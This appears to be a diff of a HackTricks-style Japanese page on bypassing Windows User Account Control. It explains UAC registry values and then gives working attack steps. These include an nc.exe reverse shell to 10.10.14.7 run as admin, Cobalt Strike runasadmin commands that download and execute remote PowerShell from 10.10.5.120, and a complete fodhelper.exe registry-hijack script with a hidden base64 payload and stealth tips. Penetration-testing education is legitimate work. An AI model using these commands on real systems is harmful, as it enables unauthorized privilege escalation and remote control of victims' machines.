| [ユーザーアカウント制御：アプリケーションのインストールを検出し、昇格を要求する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効（ホームのデフォルト）無効（エンタープライズのデフォルト） |
|
||||
| [ユーザーアカウント制御：署名され、検証された実行可能ファイルのみを昇格させる](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 無効 |
|
||||
| [ユーザーアカウント制御：セキュアな場所にインストールされたUIAccessアプリケーションのみを昇格させる](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 有効 |
|
||||
| [ユーザーアカウント制御：すべての管理者を管理者承認モードで実行する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 有効 |
|
||||
| [ユーザーアカウント制御：昇格を要求する際にセキュアデスクトップに切り替える](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 有効 |
|
||||
| [ユーザーアカウント制御：ファイルおよびレジストリの書き込み失敗をユーザーごとの場所に仮想化する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||
|
||||
### UACバイパス理論
|
||||
### UAC Bypass Theory
|
||||
|
||||
一部のプログラムは、**ユーザーが** **管理者グループに属している場合**に**自動的に昇格**されます。これらのバイナリは、_**Manifests**_ 内に _**autoElevate**_ オプションを _**True**_ の値で持っています。バイナリは**Microsoftによって署名されている必要があります**。
|
||||
一部のプログラムは、ユーザーが **administrator group** に属している場合に **自動的に autoelevated** されます。これらのバイナリは内部の _**Manifests**_ に _**autoElevate**_ オプションを _**True**_ として持っています。さらにそのバイナリは **Microsoft によって署名されている必要があります**。
|
||||
|
||||
多くの自動昇格プロセスは、**COMオブジェクトやRPCサーバーを介して機能を公開**しており、これは中程度のインテグリティ（通常のユーザーレベルの権限）で実行されているプロセスから呼び出すことができます。COM（コンポーネントオブジェクトモデル）とRPC（リモートプロシージャコール）は、Windowsプログラムが異なるプロセス間で通信し、関数を実行するために使用する方法です。例えば、**`IFileOperation COMオブジェクト`**はファイル操作（コピー、削除、移動）を処理するために設計されており、プロンプトなしで自動的に権限を昇格させることができます。
|
||||
多くの auto-elevate プロセスは **COM objects や RPC servers を通じて機能を公開**しており、これらは medium integrity（通常のユーザーレベル権限）で動作するプロセスから呼び出すことができます。COM (Component Object Model) や RPC (Remote Procedure Call) は、Windows プログラムが異なるプロセス間で通信・関数実行を行うための仕組みです。たとえば **`IFileOperation COM object`** はファイル操作（コピー、削除、移動）を扱うよう設計されており、プロンプトなしで自動的に権限を昇格できることがあります。
|
||||
|
||||
一部のチェックが行われる場合があります。例えば、プロセスが**System32ディレクトリ**から実行されたかどうかを確認することですが、これは**explorer.exe**や他のSystem32にある実行可能ファイルに注入することでバイパスできます。
|
||||
プロセスが **System32 directory** から実行されたかをチェックするなど、いくつかのチェックが行われることがあります。これらは例えば **explorer.exe に注入する**などして回避できます（explorer.exe は System32 に配置されています）。
|
||||
|
||||
これらのチェックをバイパスする別の方法は、**PEBを変更する**ことです。Windowsのすべてのプロセスにはプロセス環境ブロック（PEB）があり、プロセスに関する重要なデータ（実行可能ファイルのパスなど）が含まれています。PEBを変更することで、攻撃者は自分の悪意のあるプロセスの場所を偽装（スプーフィング）し、信頼されたディレクトリ（例えばsystem32）から実行されているように見せることができます。このスプーフィングされた情報は、COMオブジェクトを騙してプロンプトなしで権限を自動的に昇格させます。
|
||||
別の回避方法としては **PEB を改変する**ことがあります。Windows の各プロセスは Process Environment Block (PEB) を持ち、実行ファイルのパスなどプロセスに関する重要なデータが含まれます。PEB を変更することで、攻撃者は自身の悪意あるプロセスの実行場所を偽装（spoof）し、信頼されたディレクトリ（例: system32）から実行されているように見せかけることができます。この偽装情報によって COM オブジェクトはユーザーにプロンプトを出さずに自動昇格する場合があります。
|
||||
|
||||
次に、**UACをバイパス**（**中程度**のインテグリティレベルから**高い**に昇格）するために、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高いレベルのインテグリティプロセス**から実行されるからです。
|
||||
その結果、UAC を **バイパス**（**medium** integrity から **high** へ昇格）するために、攻撃者はこの種のバイナリを利用して **任意コードを実行**します。なぜならそのコードは **High level integrity プロセス** のコンテキストで実行されるからです。
|
||||
|
||||
バイナリの_**Manifest**_を確認するには、Sysinternalsのツール_**sigcheck.exe**_を使用します。(`sigcheck.exe -m <file>`) また、_Process Explorer_や_SysinternalsのProcess Monitor_を使用してプロセスの**インテグリティレベル**を確認できます。
|
||||
バイナリの _**Manifest**_ は Sysinternals のツール _**sigcheck.exe**_ を使って確認できます。(`sigcheck.exe -m <file>`) また、プロセスの **integrity level** は _Process Explorer_ や _Process Monitor_（Sysinternals）で確認できます。
|
||||
|
||||
### UACの確認
|
||||
### Check UAC
|
||||
|
||||
UACが有効かどうかを確認するには、次のようにします：
|
||||
UAC が有効かどうかを確認するには、以下を実行してください：
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
もしそれが**`1`**であれば、UACは**有効**です。もし**`0`**であるか、**存在しない**場合、UACは**無効**です。
|
||||
値が **`1`** の場合は UAC が **有効** です。値が **`0`** であるか存在しない場合は UAC が **無効** です。
|
||||
|
||||
次に、**どのレベル**が設定されているかを確認します：
|
||||
次に、どの **レベル** が設定されているかを確認します:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- **`0`** の場合、UACはプロンプトを表示しません（**無効**のように）
|
||||
- **`1`** の場合、管理者はバイナリを高い権限で実行するために**ユーザー名とパスワード**を求められます（セキュアデスクトップ上で）
|
||||
- **`2`** の場合（**常に通知**）、UACは管理者が高い権限で何かを実行しようとするたびに常に確認を求めます（セキュアデスクトップ上で）
|
||||
- **`3`** の場合、`1`のようですが、セキュアデスクトップ上で必要ではありません
|
||||
- **`4`** の場合、`2`のようですが、セキュアデスクトップ上で必要ではありません
|
||||
- **`5`** の場合（**デフォルト**）、非Windowsバイナリを高い権限で実行するために管理者に確認を求めます
|
||||
- If **`0`** の場合、UAC はプロンプトを表示しません（**無効**のように）
|
||||
- If **`1`** の場合、管理者は高権限でバイナリを実行するために**ユーザー名とパスワードを要求されます**（Secure Desktop 上）
|
||||
- If **`2`**（**Always notify me**）の場合、管理者が高権限の何かを実行しようとすると UAC は常に確認を求めます（Secure Desktop 上）
|
||||
- If **`3`** は `1` と同様ですが、Secure Desktop 上では必要ありません
|
||||
- If **`4`** は `2` と同様ですが、Secure Desktop 上では必要ありません
|
||||
- if **`5`**（**default**）の場合、管理者に対して非 Windows バイナリを高権限で実行するか確認を求めます
|
||||
|
||||
次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\
|
||||
値が**`0`**の場合、**RID 500** ユーザー（**ビルトイン管理者**）のみがUACなしで**管理タスク**を実行できます。`1`の場合、**「Administrators」** グループ内のすべてのアカウントがそれを実行できます。
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
|
||||
最後に、キー **`FilterAdministratorToken`** の値を確認してください。\
|
||||
**`0`**（デフォルト）の場合、**ビルトイン管理者アカウントは**リモート管理タスクを実行できます。`1`の場合、ビルトイン管理者アカウントは**リモート管理タスクを実行できません**が、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合を除きます。
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### 概要
|
||||
#### まとめ
|
||||
|
||||
- `EnableLUA=0` または **存在しない**場合、**誰に対してもUACなし**
|
||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=1`** の場合、誰に対してもUACなし
|
||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ `FilterAdministratorToken=0` の場合、RID 500（ビルトイン管理者）に対してUACなし
|
||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ `FilterAdministratorToken=1` の場合、全員に対してUACあり
|
||||
- If `EnableLUA=0` or **存在しない場合**, **誰に対しても UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , 誰に対しても UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500（Built-in Administrator）には UAC はありません**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, 全員に UAC が適用されます**
|
||||
|
||||
このすべての情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
ユーザーのグループを確認し、整合性レベルを取得することもできます。
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
```
|
||||
## UACバイパス
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> 被害者にグラフィカルアクセスがある場合、UACバイパスは簡単で、UACプロンプトが表示されたときに「はい」をクリックするだけです。
|
||||
> 被害者に対してグラフィカルなアクセスがある場合、UAC bypass は非常に簡単です — UAC プロンプトが表示されたら単純に "Yes" をクリックすればよいからです
|
||||
|
||||
UACバイパスは以下の状況で必要です: **UACが有効で、プロセスが中程度の整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合**。
|
||||
UAC bypass が必要となる状況は次のとおりです：**UAC が有効で、あなたのプロセスが medium integrity コンテキストで動作しており、あなたのユーザーが administrators グループに属していること**。
|
||||
|
||||
UACが最高のセキュリティレベル（常に）に設定されている場合、他のレベル（デフォルト）の場合よりも**UACをバイパスするのははるかに難しい**ことを言及することが重要です。
|
||||
重要なのは、UAC が最高のセキュリティレベル（Always）に設定されている場合は、他のいずれかのレベル（Default）よりも **UAC をバイパスするのがはるかに難しい** という点です。
|
||||
|
||||
### UAC無効
|
||||
### UAC が無効
|
||||
|
||||
UACがすでに無効になっている場合（`ConsentPromptBehaviorAdmin`が**`0`**）、**管理者権限でリバースシェルを実行することができます**（高整合性レベル）次のようなものを使用して:
|
||||
もし UAC が既に無効 (`ConsentPromptBehaviorAdmin` は **`0`**) の場合、次のようにして（high integrity level）**execute a reverse shell with admin privileges** を実行できます：
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### UACバイパスとトークン複製
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **非常に** 基本的なUAC "バイパス"（フルファイルシステムアクセス）
|
||||
### **Very** Basic UAC "bypass" (full file system access)
|
||||
|
||||
管理者グループに属するユーザーのシェルがある場合、**C$** 共有をSMB（ファイルシステム）経由で新しいディスクにマウントすることで、**ファイルシステム内のすべてにアクセスできます**（管理者のホームフォルダも含む）。
|
||||
Administrators グループに属するユーザーのシェルがある場合、新しいドライブにローカルで SMB (file system) 経由の共有を **mount the C$** すれば、ファイルシステム内のすべてに **access to everything inside the file system**（Administrator のホームフォルダも含む）.
|
||||
|
||||
> [!WARNING]
|
||||
> **このトリックはもう機能していないようです**
|
||||
> **このトリックはもう動作していないようです**
|
||||
```bash
|
||||
net use Z: \\127.0.0.1\c$
|
||||
cd C$
|
||||
@ -123,9 +123,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UACバイパスとCobalt Strike
|
||||
### UAC bypass with cobalt strike
|
||||
|
||||
Cobalt Strikeの技術は、UACが最大のセキュリティレベルに設定されていない場合にのみ機能します。
|
||||
Cobalt Strike の手法は、UAC が最大セキュリティレベルに設定されていない場合にのみ動作します。
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,18 +137,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** と **Metasploit** には、**UAC** を **バイパス** するためのいくつかのモジュールがあります。
|
||||
**Empire** と **Metasploit** には **UAC** を **bypass** するモジュールがいくつかあります。
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
ドキュメントとツールは [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) にあります。
|
||||
|
||||
### UAC バイパスエクスプロイト
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) は、いくつかの UAC バイパスエクスプロイトの **コンパイル** です。**UACME を Visual Studio または msbuild を使用してコンパイルする必要がある**ことに注意してください。コンパイルにより、いくつかの実行可能ファイル（例えば `Source\Akagi\outout\x64\Debug\Akagi.exe`）が作成されます。**どれが必要かを知っておく必要があります。**\
|
||||
**注意が必要です**。なぜなら、いくつかのバイパスは **他のプログラムを促す** ことがあり、**ユーザー** に何かが起こっていることを **警告** します。
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) は複数の UAC bypass exploits を集めた**compilation**です。注意: **compile UACME using visual studio or msbuild** が必要です。**compilation** によりいくつかの実行ファイル（例: `Source\Akagi\outout\x64\Debug\Akagi.exe`）が作成されるため、どれが必要かを把握しておく必要があります。\
|
||||
いくつかの bypass は他のプログラムを**prompt some other programs** して、何かが起きていることを **user** に **alert** する場合があるので、**be careful** してください。
|
||||
|
||||
UACME には、各技術が動作し始めた **ビルドバージョン** があります。あなたのバージョンに影響を与える技術を検索できます：
|
||||
UACME には各 technique が動作し始めた **build version from which each technique started working** が記載されています。自分のバージョンに影響する technique を検索できます:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,41 +156,79 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
また、[this](https://en.wikipedia.org/wiki/Windows_10_version_history) ページを使うと、ビルド バージョンから Windows リリース `1607` を確認できます。
|
||||
|
||||
#### さらなるUACバイパス
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
**ここで使用される**すべての技術は、**完全なインタラクティブシェル**を被害者と持つことを**必要とします**（一般的なnc.exeシェルでは不十分です）。
|
||||
信頼されたバイナリである `fodhelper.exe` は、最新の Windows で自動的に昇格されます。起動時に、`DelegateExecute` verb を検証せずに下記のユーザー別レジストリパスを参照します。そこにコマンドを仕込むことで、Medium Integrity プロセス（ユーザーが Administrators に属している場合）が UAC prompt なしで High Integrity プロセスを生成できます。
|
||||
|
||||
**meterpreter**セッションを使用して取得できます。**Session**値が**1**に等しい**プロセス**に移行します：
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
PowerShell の手順（payload をセットしてから trigger）:
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
注意:
|
||||
- 現在のユーザーが Administrators のメンバーで、UAC レベルがデフォルト/寛容（追加制限のある Always Notify ではない）である場合に動作します。
|
||||
- `sysnative` パスを使用して、64-bit Windows 上の 32-bit プロセスから 64-bit PowerShell を起動します。
|
||||
- ペイロードは任意のコマンド（PowerShell、cmd、または EXE パス）にできます。ステルスのため、プロンプトを表示する UI は避けてください。
|
||||
|
||||
#### More UAC bypass
|
||||
|
||||
ここで使われている AUC 回避の**すべて**の手法は、被害者とのフルインタラクティブシェルを**必要とします**（一般的な nc.exe シェルでは不十分です）。
|
||||
|
||||
meterpreter セッションを使って取得できます。**process** を Session 値が **1** のものにマイグレートしてください:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ は動作するはずです)
|
||||
(_explorer.exe_ が動作するはずです)
|
||||
|
||||
### GUIを使用したUACバイパス
|
||||
### UAC Bypass with GUI
|
||||
|
||||
**GUIにアクセスできる場合、UACプロンプトが表示されたときにそれを受け入れるだけで済みます**。実際にはバイパスは必要ありません。したがって、GUIにアクセスすることでUACをバイパスできます。
|
||||
GUI にアクセスできるなら、UAC プロンプトが出たときに単に承認すればよく、実際には回避は不要です。したがって、GUI へのアクセスを得ることで UAC をバイパスできます。
|
||||
|
||||
さらに、誰かが使用していたGUIセッション（おそらくRDP経由）を取得した場合、**管理者として実行されるいくつかのツール**があり、そこから**管理者として**直接**cmd**を**実行**できる可能性があります。再度UACによるプロンプトなしで、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のように。これは少し**ステルス**になるかもしれません。
|
||||
さらに、誰かが使っていた GUI セッション（例えば RDP を介したもの）を取得すると、管理者として動作しているツールが存在し、そこから例えば cmd を **as admin** で直接実行でき、UAC による再プロンプトを受けない場合があります（例: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)）。これは多少 **ステルス性が高い** かもしれません。
|
||||
|
||||
### 騒がしいブルートフォースUACバイパス
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
騒がしいことを気にしないのであれば、常に**[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)**のようなものを**実行**して、**ユーザーが受け入れるまで権限を昇格するように要求することができます**。
|
||||
ノイズを気にしないなら、[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) のようなものを実行して、ユーザーが承諾するまで権限昇格を要求し続けることもできます。
|
||||
|
||||
### 自分自身のバイパス - 基本的なUACバイパス手法
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
**UACME**を見てみると、**ほとんどのUACバイパスはDll Hijackingの脆弱性を悪用している**ことに気付くでしょう（主に悪意のあるdllを_C:\Windows\System32_に書き込むこと）。[Dll Hijackingの脆弱性を見つける方法を学ぶにはこれを読んでください](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
UACME を見ると、ほとんどの UAC バイパスが Dll Hijacking の脆弱性を悪用していることがわかります（主に悪意のある dll を _C:\Windows\System32_ に書き込む）。[Dll Hijacking 脆弱性を見つける方法を読む](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
|
||||
1. **自動昇格**するバイナリを見つけます（実行時に高い整合性レベルで実行されることを確認します）。
|
||||
2. procmonを使用して、**DLL Hijacking**に脆弱な"**NAME NOT FOUND**"イベントを見つけます。
|
||||
3. おそらく、**書き込み権限がない**いくつかの**保護されたパス**（C:\Windows\System32など）内にDLLを**書き込む**必要があります。これを回避するには、次の方法を使用できます：
|
||||
1. **wusa.exe**：Windows 7、8、8.1。保護されたパス内にCABファイルの内容を抽出することを許可します（このツールは高い整合性レベルから実行されるため）。
|
||||
2. **IFileOperation**：Windows 10。
|
||||
4. 保護されたパス内にDLLをコピーし、脆弱で自動昇格されたバイナリを実行するための**スクリプト**を準備します。
|
||||
1. 自動昇格するバイナリを見つける（実行時に high integrity level で動作することを確認する）。
|
||||
2. procmon を使って、DLL Hijacking の脆弱性がある可能性のある "**NAME NOT FOUND**" イベントを探す。
|
||||
3. 書き込み権限のない保護されたパス（例: C:\Windows\System32）に DLL を書き込む必要があるかもしれません。これを回避する方法として:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1。CAB ファイルの内容を保護されたパスに展開できる（このツールは high integrity level で実行されるため）。
|
||||
2. **IFileOperation**: Windows 10。
|
||||
4. DLL を保護されたパスにコピーして、脆弱で autoelevated なバイナリを実行する **script** を用意する。
|
||||
|
||||
### 別のUACバイパス技術
|
||||
### Another UAC bypass technique
|
||||
|
||||
**autoElevatedバイナリ**が**実行される**ための**バイナリ**または**コマンド**の**名前/パス**を**レジストリ**から**読み取ろうとする**のを監視することに基づいています（これは、バイナリが**HKCU**内でこの情報を検索する場合により興味深いです）。
|
||||
これは、**autoElevated binary** が実行される **binary** や **command** の **name/path** をレジストリから **read** しようとするかを監視する手法です（特に、そのバイナリがこの情報を **HKCU** の中で検索する場合に興味深い）。
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user